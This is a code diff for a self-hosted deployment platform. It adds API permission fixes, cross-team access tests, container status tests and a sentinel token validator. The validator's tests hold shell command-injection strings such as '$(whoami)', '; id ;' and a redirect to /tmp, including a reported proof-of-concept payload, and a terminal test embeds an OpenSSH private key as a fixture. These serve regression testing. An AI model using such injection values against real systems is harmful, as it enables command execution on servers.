@ -147,8 +147,8 @@
|
|||
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1.5">Next billing cycle</div>
|
||||
<div class="space-y-1.5">
|
||||
<div class="flex justify-between gap-6 text-sm">
|
||||
<span class="text-neutral-500" x-text="preview.quantity + ' servers × ' + fmt(preview.unit_price)"></span>
|
||||
<span class="dark:text-white" x-text="fmt(preview.recurring_subtotal)"></span>
|
||||
<span class="text-neutral-500" x-text="preview?.quantity + ' servers × ' + fmt(preview?.unit_price)"></span>
|
||||
<span class="dark:text-white" x-text="fmt(preview?.recurring_subtotal)"></span>
|
||||
</div>
|
||||
<div class="flex justify-between gap-6 text-sm" x-show="preview?.tax_description" x-cloak>
|
||||
<span class="text-neutral-500" x-text="preview?.tax_description"></span>
|
||||
|
|
@ -156,7 +156,7 @@
|
|||
</div>
|
||||
<div class="flex justify-between gap-6 text-sm font-bold pt-1.5 border-t dark:border-coolgray-400 border-neutral-200">
|
||||
<span class="dark:text-white">Total / month</span>
|
||||
<span class="dark:text-white" x-text="fmt(preview.recurring_total)"></span>
|
||||
<span class="dark:text-white" x-text="fmt(preview?.recurring_total)"></span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
|
|
|||
|
|
@ -71,7 +71,7 @@ Route::group([
|
|||
Route::get('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'show'])->middleware(['api.ability:read']);
|
||||
Route::patch('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'update'])->middleware(['api.ability:write']);
|
||||
Route::delete('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'destroy'])->middleware(['api.ability:write']);
|
||||
Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:read']);
|
||||
Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:write']);
|
||||
|
||||
Route::match(['get', 'post'], '/deploy', [DeployController::class, 'deploy'])->middleware(['api.ability:deploy']);
|
||||
Route::get('/deployments', [DeployController::class, 'deployments'])->middleware(['api.ability:read']);
|
||||
|
|
@ -84,7 +84,7 @@ Route::group([
|
|||
Route::get('/servers/{uuid}/domains', [ServersController::class, 'domains_by_server'])->middleware(['api.ability:read']);
|
||||
Route::get('/servers/{uuid}/resources', [ServersController::class, 'resources_by_server'])->middleware(['api.ability:read']);
|
||||
|
||||
Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:read']);
|
||||
Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:write']);
|
||||
|
||||
Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:write']);
|
||||
Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']);
|
||||
|
|
@ -156,6 +156,10 @@ Route::group([
|
|||
Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']);
|
||||
Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']);
|
||||
|
||||
Route::post('/databases/{uuid}/restore', [DatabasesController::class, 'restore_database'])->middleware(['api.ability:write']);
|
||||
Route::get('/databases/{uuid}/restores', [DatabasesController::class, 'list_restores'])->middleware(['api.ability:read']);
|
||||
Route::get('/databases/{uuid}/restores/{restore_uuid}', [DatabasesController::class, 'restore_status'])->middleware(['api.ability:read']);
|
||||
|
||||
Route::get('/services', [ServicesController::class, 'services'])->middleware(['api.ability:read']);
|
||||
Route::post('/services', [ServicesController::class, 'create_service'])->middleware(['api.ability:write']);
|
||||
|
||||
|
|
|
|||
|
|
@ -168,9 +168,23 @@ Route::middleware(['auth', 'verified'])->group(function () {
|
|||
Route::post('/terminal/auth/ips', function () {
|
||||
if (auth()->check()) {
|
||||
$team = auth()->user()->currentTeam();
|
||||
$ipAddresses = $team->servers->where('settings.is_terminal_enabled', true)->pluck('ip')->toArray();
|
||||
$ipAddresses = $team->servers
|
||||
->where('settings.is_terminal_enabled', true)
|
||||
->pluck('ip')
|
||||
->filter()
|
||||
->values();
|
||||
|
||||
return response()->json(['ipAddresses' => $ipAddresses], 200);
|
||||
if (isDev()) {
|
||||
$ipAddresses = $ipAddresses->merge([
|
||||
'coolify-testing-host',
|
||||
'host.docker.internal',
|
||||
'localhost',
|
||||
'127.0.0.1',
|
||||
base_ip(),
|
||||
])->filter()->unique()->values();
|
||||
}
|
||||
|
||||
return response()->json(['ipAddresses' => $ipAddresses->all()], 200);
|
||||
}
|
||||
|
||||
return response()->json(['ipAddresses' => []], 401);
|
||||
|
|
|
|||
|
|
@ -73,3 +73,28 @@ describe('POST /api/v1/servers', function () {
|
|||
$response->assertStatus(403);
|
||||
});
|
||||
});
|
||||
|
||||
describe('GET /api/v1/servers/{uuid}/validate', function () {
|
||||
test('read-only token cannot trigger server validation', function () {
|
||||
$token = $this->user->createToken('read-only', ['read']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
])->getJson('/api/v1/servers/fake-uuid/validate');
|
||||
|
||||
$response->assertStatus(403);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/cloud-tokens/{uuid}/validate', function () {
|
||||
test('read-only token cannot validate cloud provider token', function () {
|
||||
$token = $this->user->createToken('read-only', ['read']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/cloud-tokens/fake-uuid/validate');
|
||||
|
||||
$response->assertStatus(403);
|
||||
});
|
||||
});
|
||||
|
|
|
|||
97
tests/Feature/CrossTeamIdorLogsTest.php
Normal file
97
tests/Feature/CrossTeamIdorLogsTest.php
Normal file
|
|
@ -0,0 +1,97 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
|
||||
beforeEach(function () {
|
||||
// Attacker: Team A
|
||||
$this->userA = User::factory()->create();
|
||||
$this->teamA = Team::factory()->create();
|
||||
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
|
||||
|
||||
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
|
||||
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
|
||||
// Victim: Team B
|
||||
$this->teamB = Team::factory()->create();
|
||||
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
|
||||
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
|
||||
|
||||
$this->victimApplication = Application::factory()->create([
|
||||
'environment_id' => $this->environmentB->id,
|
||||
'destination_id' => $this->destinationB->id,
|
||||
'destination_type' => $this->destinationB->getMorphClass(),
|
||||
]);
|
||||
|
||||
$this->victimService = Service::factory()->create([
|
||||
'environment_id' => $this->environmentB->id,
|
||||
'destination_id' => $this->destinationB->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
]);
|
||||
|
||||
// Act as attacker
|
||||
$this->actingAs($this->userA);
|
||||
session(['currentTeam' => $this->teamA]);
|
||||
});
|
||||
|
||||
test('cannot access logs of application from another team', function () {
|
||||
$response = $this->get(route('project.application.logs', [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
'application_uuid' => $this->victimApplication->uuid,
|
||||
]));
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
|
||||
test('cannot access logs of service from another team', function () {
|
||||
$response = $this->get(route('project.service.logs', [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
'service_uuid' => $this->victimService->uuid,
|
||||
]));
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
|
||||
test('can access logs of own application', function () {
|
||||
$ownApplication = Application::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'destination_id' => $this->destinationA->id,
|
||||
'destination_type' => $this->destinationA->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->get(route('project.application.logs', [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
'application_uuid' => $ownApplication->uuid,
|
||||
]));
|
||||
|
||||
$response->assertStatus(200);
|
||||
});
|
||||
|
||||
test('can access logs of own service', function () {
|
||||
$ownService = Service::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'destination_id' => $this->destinationA->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
]);
|
||||
|
||||
$response = $this->get(route('project.service.logs', [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
'service_uuid' => $ownService->uuid,
|
||||
]));
|
||||
|
||||
$response->assertStatus(200);
|
||||
});
|
||||
101
tests/Feature/PushServerUpdateJobLastOnlineTest.php
Normal file
101
tests/Feature/PushServerUpdateJobLastOnlineTest.php
Normal file
|
|
@ -0,0 +1,101 @@
|
|||
<?php
|
||||
|
||||
use App\Jobs\PushServerUpdateJob;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('database last_online_at is updated when status unchanged', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'status' => 'running:healthy',
|
||||
'last_online_at' => now()->subMinutes(5),
|
||||
]);
|
||||
|
||||
$server = $database->destination->server;
|
||||
|
||||
$data = [
|
||||
'containers' => [
|
||||
[
|
||||
'name' => $database->uuid,
|
||||
'state' => 'running',
|
||||
'health_status' => 'healthy',
|
||||
'labels' => [
|
||||
'coolify.managed' => 'true',
|
||||
'coolify.type' => 'database',
|
||||
'com.docker.compose.service' => $database->uuid,
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$oldLastOnline = $database->last_online_at;
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
$database->refresh();
|
||||
|
||||
// last_online_at should be updated even though status didn't change
|
||||
expect($database->last_online_at->greaterThan($oldLastOnline))->toBeTrue();
|
||||
expect($database->status)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
test('database status is updated when container status changes', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'status' => 'exited',
|
||||
]);
|
||||
|
||||
$server = $database->destination->server;
|
||||
|
||||
$data = [
|
||||
'containers' => [
|
||||
[
|
||||
'name' => $database->uuid,
|
||||
'state' => 'running',
|
||||
'health_status' => 'healthy',
|
||||
'labels' => [
|
||||
'coolify.managed' => 'true',
|
||||
'coolify.type' => 'database',
|
||||
'com.docker.compose.service' => $database->uuid,
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
$database->refresh();
|
||||
|
||||
expect($database->status)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
test('database is not marked exited when containers list is empty', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'status' => 'running:healthy',
|
||||
]);
|
||||
|
||||
$server = $database->destination->server;
|
||||
|
||||
// Empty containers = Sentinel might have failed, should NOT mark as exited
|
||||
$data = [
|
||||
'containers' => [],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
$database->refresh();
|
||||
|
||||
// Status should remain running, NOT be set to exited
|
||||
expect($database->status)->toBe('running:healthy');
|
||||
});
|
||||
34
tests/Feature/RealtimeTerminalPackagingTest.php
Normal file
34
tests/Feature/RealtimeTerminalPackagingTest.php
Normal file
|
|
@ -0,0 +1,34 @@
|
|||
<?php
|
||||
|
||||
it('copies the realtime terminal utilities into the container image', function () {
|
||||
$dockerfile = file_get_contents(base_path('docker/coolify-realtime/Dockerfile'));
|
||||
|
||||
expect($dockerfile)->toContain('COPY docker/coolify-realtime/terminal-utils.js /terminal/terminal-utils.js');
|
||||
});
|
||||
|
||||
it('mounts the realtime terminal utilities in local development compose files', function (string $composeFile) {
|
||||
$composeContents = file_get_contents(base_path($composeFile));
|
||||
|
||||
expect($composeContents)->toContain('./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js');
|
||||
})->with([
|
||||
'default dev compose' => 'docker-compose.dev.yml',
|
||||
'maxio dev compose' => 'docker-compose-maxio.dev.yml',
|
||||
]);
|
||||
|
||||
it('keeps terminal browser logging restricted to Vite development mode', function () {
|
||||
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->toContain('const terminalDebugEnabled = import.meta.env.DEV;')
|
||||
->toContain("logTerminal('log', '[Terminal] WebSocket connection established.');")
|
||||
->not->toContain("console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');");
|
||||
});
|
||||
|
||||
it('keeps realtime terminal server logging restricted to development environments', function () {
|
||||
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
|
||||
|
||||
expect($terminalServer)
|
||||
->toContain("const terminalDebugEnabled = ['local', 'development'].includes(")
|
||||
->toContain('if (!terminalDebugEnabled) {')
|
||||
->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');");
|
||||
});
|
||||
95
tests/Feature/SentinelTokenValidationTest.php
Normal file
95
tests/Feature/SentinelTokenValidationTest.php
Normal file
|
|
@ -0,0 +1,95 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$user = User::factory()->create();
|
||||
$this->team = $user->teams()->first();
|
||||
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
describe('ServerSetting::isValidSentinelToken', function () {
|
||||
it('accepts alphanumeric tokens', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc123'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts tokens with dots, hyphens, and underscores', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('my-token_v2.0'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts long base64-like encrypted tokens', function () {
|
||||
$token = 'eyJpdiI6IjRGN0V4YnRkZ1p0UXdBPT0iLCJ2YWx1ZSI6IjZqQT0iLCJtYWMiOiIxMjM0NTY3ODkwIn0';
|
||||
expect(ServerSetting::isValidSentinelToken($token))->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts tokens with base64 characters (+, /, =)', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc+def/ghi='))->toBeTrue();
|
||||
});
|
||||
|
||||
it('rejects tokens with double quotes', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc" ; id ; echo "'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with single quotes', function () {
|
||||
expect(ServerSetting::isValidSentinelToken("abc' ; id ; echo '"))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with semicolons', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc;id'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with backticks', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc`id`'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with dollar sign command substitution', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc$(whoami)'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with spaces', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc def'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with newlines', function () {
|
||||
expect(ServerSetting::isValidSentinelToken("abc\nid"))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with pipe operator', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc|id'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with ampersand', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc&&id'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects tokens with redirection operators', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc>/tmp/pwn'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects empty strings', function () {
|
||||
expect(ServerSetting::isValidSentinelToken(''))->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects the reported PoC payload', function () {
|
||||
expect(ServerSetting::isValidSentinelToken('abc" ; id >/tmp/coolify_poc_sentinel ; echo "'))->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('generated sentinel tokens are valid', function () {
|
||||
it('generates tokens that pass format validation', function () {
|
||||
$settings = $this->server->settings;
|
||||
$settings->generateSentinelToken(save: false, ignoreEvent: true);
|
||||
$token = $settings->sentinel_token;
|
||||
|
||||
expect($token)->not->toBeEmpty();
|
||||
expect(ServerSetting::isValidSentinelToken($token))->toBeTrue();
|
||||
});
|
||||
});
|
||||
79
tests/Feature/SharedVariableDevViewTest.php
Normal file
79
tests/Feature/SharedVariableDevViewTest.php
Normal file
|
|
@ -0,0 +1,79 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\SharedEnvironmentVariable;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'admin']);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create([
|
||||
'project_id' => $this->project->id,
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
test('environment shared variable dev view saves without openssl_encrypt error', function () {
|
||||
Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class)
|
||||
->set('variables', "MY_VAR=my_value\nANOTHER_VAR=another_value")
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$vars = $this->environment->environment_variables()->pluck('value', 'key')->toArray();
|
||||
expect($vars)->toHaveKey('MY_VAR')
|
||||
->and($vars['MY_VAR'])->toBe('my_value')
|
||||
->and($vars)->toHaveKey('ANOTHER_VAR')
|
||||
->and($vars['ANOTHER_VAR'])->toBe('another_value');
|
||||
});
|
||||
|
||||
test('project shared variable dev view saves without openssl_encrypt error', function () {
|
||||
Livewire::test(\App\Livewire\SharedVariables\Project\Show::class)
|
||||
->set('variables', 'PROJ_VAR=proj_value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$vars = $this->project->environment_variables()->pluck('value', 'key')->toArray();
|
||||
expect($vars)->toHaveKey('PROJ_VAR')
|
||||
->and($vars['PROJ_VAR'])->toBe('proj_value');
|
||||
});
|
||||
|
||||
test('team shared variable dev view saves without openssl_encrypt error', function () {
|
||||
Livewire::test(\App\Livewire\SharedVariables\Team\Index::class)
|
||||
->set('variables', 'TEAM_VAR=team_value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$vars = $this->team->environment_variables()->pluck('value', 'key')->toArray();
|
||||
expect($vars)->toHaveKey('TEAM_VAR')
|
||||
->and($vars['TEAM_VAR'])->toBe('team_value');
|
||||
});
|
||||
|
||||
test('environment shared variable dev view updates existing variable', function () {
|
||||
SharedEnvironmentVariable::create([
|
||||
'key' => 'EXISTING_VAR',
|
||||
'value' => 'old_value',
|
||||
'type' => 'environment',
|
||||
'environment_id' => $this->environment->id,
|
||||
'project_id' => $this->project->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class)
|
||||
->set('variables', 'EXISTING_VAR=new_value')
|
||||
->call('submit')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$var = $this->environment->environment_variables()->where('key', 'EXISTING_VAR')->first();
|
||||
expect($var->value)->toBe('new_value');
|
||||
});
|
||||
51
tests/Feature/TerminalAuthIpsRouteTest.php
Normal file
51
tests/Feature/TerminalAuthIpsRouteTest.php
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
<?php
|
||||
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('app.env', 'local');
|
||||
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
it('includes development terminal host aliases for authenticated users', function () {
|
||||
Server::factory()->create([
|
||||
'name' => 'Localhost',
|
||||
'ip' => 'coolify-testing-host',
|
||||
'team_id' => $this->team->id,
|
||||
'private_key_id' => $this->privateKey->id,
|
||||
]);
|
||||
|
||||
$response = $this->postJson('/terminal/auth/ips');
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertJsonPath('ipAddresses.0', 'coolify-testing-host');
|
||||
|
||||
expect($response->json('ipAddresses'))
|
||||
->toContain('coolify-testing-host')
|
||||
->toContain('localhost')
|
||||
->toContain('127.0.0.1')
|
||||
->toContain('host.docker.internal');
|
||||
});
|
||||
|
|
@ -8,9 +8,7 @@ afterEach(function () {
|
|||
Mockery::close();
|
||||
});
|
||||
|
||||
it('categorizes images correctly into PR and regular images', function () {
|
||||
// Test the image categorization logic
|
||||
// Build images (*-build) are excluded from retention and handled by docker image prune
|
||||
it('categorizes images correctly into PR, build, and regular images', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'],
|
||||
['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'],
|
||||
|
|
@ -25,6 +23,11 @@ it('categorizes images correctly into PR and regular images', function () {
|
|||
expect($prImages)->toHaveCount(2);
|
||||
expect($prImages->pluck('tag')->toArray())->toContain('pr-123', 'pr-456');
|
||||
|
||||
// Build images (tags ending with '-build', excluding PR builds)
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
expect($buildImages)->toHaveCount(2);
|
||||
expect($buildImages->pluck('tag')->toArray())->toContain('abc123-build', 'def456-build');
|
||||
|
||||
// Regular images (neither PR nor build) - these are subject to retention policy
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
expect($regularImages)->toHaveCount(2);
|
||||
|
|
@ -340,3 +343,128 @@ it('protects current infrastructure images from any registry even when no applic
|
|||
// Other images should not be protected
|
||||
expect(preg_match($pattern, 'nginx:alpine'))->toBe(0);
|
||||
});
|
||||
|
||||
it('deletes build images not matching retained regular images', function () {
|
||||
// Simulates the Nixpacks scenario from issue #8765:
|
||||
// Many -build images accumulate because they were excluded from both cleanup paths
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit3-build', 'created_at' => '2024-01-03 09:00:00', 'image_ref' => 'app-uuid:commit3-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit4-build', 'created_at' => '2024-01-04 09:00:00', 'image_ref' => 'app-uuid:commit4-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit5-build', 'created_at' => '2024-01-05 09:00:00', 'image_ref' => 'app-uuid:commit5-build'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit5';
|
||||
$imagesToKeep = 2;
|
||||
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
$sortedRegularImages = $regularImages
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
// Determine kept tags: current + N newest rollback
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
// Kept tags should be: commit5 (running), commit4, commit3 (2 newest rollback)
|
||||
expect($keptTags->toArray())->toContain('commit5', 'commit4', 'commit3');
|
||||
|
||||
// Build images to delete: those whose base tag is NOT in keptTags
|
||||
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return ! $keptTags->contains($baseTag);
|
||||
});
|
||||
|
||||
// Should delete commit1-build and commit2-build (their base tags are not kept)
|
||||
expect($buildImagesToDelete)->toHaveCount(2);
|
||||
expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build', 'commit2-build');
|
||||
|
||||
// Should keep commit3-build, commit4-build, commit5-build (matching retained images)
|
||||
$buildImagesToKeep = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return $keptTags->contains($baseTag);
|
||||
});
|
||||
expect($buildImagesToKeep)->toHaveCount(3);
|
||||
expect($buildImagesToKeep->pluck('tag')->toArray())->toContain('commit5-build', 'commit4-build', 'commit3-build');
|
||||
});
|
||||
|
||||
it('deletes all build images when retention is disabled', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit2';
|
||||
$imagesToKeep = 0; // Retention disabled
|
||||
|
||||
